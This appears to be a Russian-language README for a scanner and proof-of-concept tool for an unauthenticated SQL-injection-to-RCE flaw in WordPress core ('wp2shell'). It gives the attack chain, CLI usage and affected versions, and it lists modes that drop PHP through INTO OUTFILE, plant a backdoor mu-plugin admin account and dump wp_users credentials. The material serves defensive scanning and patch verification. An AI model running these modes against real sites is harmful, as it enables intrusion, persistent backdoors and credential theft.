
Сканер и набор инструментов для подтверждения концепции для CVE-2026-63030 (wp2shell) - удаленное выполнение кода без аутентификации в ядре WordPress

--check-type time-based (временная задержка SLEEP) и --check-type error-based (дифференциал TRUE/FALSE/broken). Оба безопасны для массового сканирования.--i-have-authorization.CVE-2026-63030 («wp2shell») — это уязвимость удаленного выполнения кода без аутентификации в ядре WordPress. Ошибка путаницы маршрутов / рассинхронизации индексов в пакетной конечной точке REST API (/batch/v1) позволяет неаутентифицированному атакующему протащить несанитизированное значение author_exclude в WP_Query, что приводит к SQL-инъекции. Если пользователь базы данных обладает привилегией FILE, это ведет к удаленному выполнению кода через SELECT ... INTO OUTFILE. Плагины не требуются. Затронут стандартный экземпляр WordPress.
WordPress выпустил исправления в 6.9.5, 7.0.2 и 7.1-beta2. Немедленно установите патчи. Если вам нужна помощь в сканировании или обнаружении этой уязвимости в вашей инфраструктуре, напишите на [email protected]. Подробнее читайте в блоге fullhunt.io.
Мы исследовали wp2shell (CVE-2026-63030) с момента публичного раскрытия и работали над предотвращением этой уязвимости для наших клиентов. Мы открываем исходный код инструмента для обнаружения и сканирования CVE-2026-63030. Этот инструмент предназначен для использования командами безопасности для сканирования своей инфраструктуры на наличие wp2shell, а также для проверки того, что правила WAF и патчи действительно блокируют цепочку атак в среде организации.
wp2shell-scan.py — это единый сканер, поддерживающий восемь режимов:
Примечание: Режимы, помеченные «Да» в столбце «Авторизация», требуют флага
--i-have-authorization.
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
$ pip3 install -r requirements.txt
git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local
В репозиторий включено заведомо уязвимое окружение WordPress 7.0.1 + MariaDB (с предоставленной привилегией FILE) для безопасного офлайн-воспроизведения:
$ cd testbed
$ docker compose up -d
# Завершите мастер установки WordPress по адресу http://localhost:8080, затем:
$ python3 wp2shell-scan.py check -u http://localhost:8080
FullHunt — это платформа управления поверхностью атак нового поколения. FullHunt позволяет компаниям обнаруживать все свои поверхности атак, отслеживать их на предмет раскрытия информации и непрерывно сканировать на наличие последних уязвимостей безопасности. Всё в единой платформе и даже больше.
FullHunt предоставляет корпоративную платформу для организаций. Корпоративная платформа FullHunt обеспечивает расширенное сканирование и дополнительные возможности для клиентов. Она позволяет организациям тщательно отслеживать свою внешнюю поверхность атак и получать детальные оповещения о каждом изменении. Организации по всему миру используют корпоративную платформу FullHunt для решения задач непрерывной безопасности и защиты внешней поверхности атак.
Этот проект предназначен только для образовательных и этических целей тестирования. Использование wp2shell-scan для атаки на цели без предварительного взаимного согласия незаконно. Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут никакой ответственности и не отвечают за любое неправомерное использование или ущерб, причиненный этой программой.
Проект лицензирован по лицензии MIT.
Мазин Ахмед (Mazin Ahmed)
| Ветка |
|---|
| Уязвимая |
|---|
| Исправленная |
|---|
| 6.9 | 6.9.0–6.9.4 | 6.9.5 |
| 7.0 | 7.0.0–7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | Не затронута (пакетная конечная точка отсутствует) | — |
| Режим | Назначение | Авторизация |
|---|
check | Неразрушающее обнаружение. Два типа проверки: --check-type time-based (временная задержка SLEEP) или --check-type error-based (дифференциал TRUE/FALSE/broken). | Нет |
probe-endpoints | Обнаружение конечных точек REST, пропускающих инъекцию в WP_Query. | Нет |
probe | Попарное сравнение ответов N SQL-полезных нагрузок. | Нет |
extract | Извлечение метаданных БД и хешей через булев оракул. | Да |
blind | Извлечение на основе временных задержек (blind) — резервный вариант при ненадежном булевом оракуле. | Да |
exploit | Проверка полной цепочки SQLi → INTO OUTFILE → выполнение PHP. | Да |
adduser | Запись бэкдора mu-plugin, создающего учетную запись администратора; при неудаче — извлечение хеша через булев оракул. | Да |
get-users | Полный дамп всех учетных данных wp_users через булев оракул. | Да |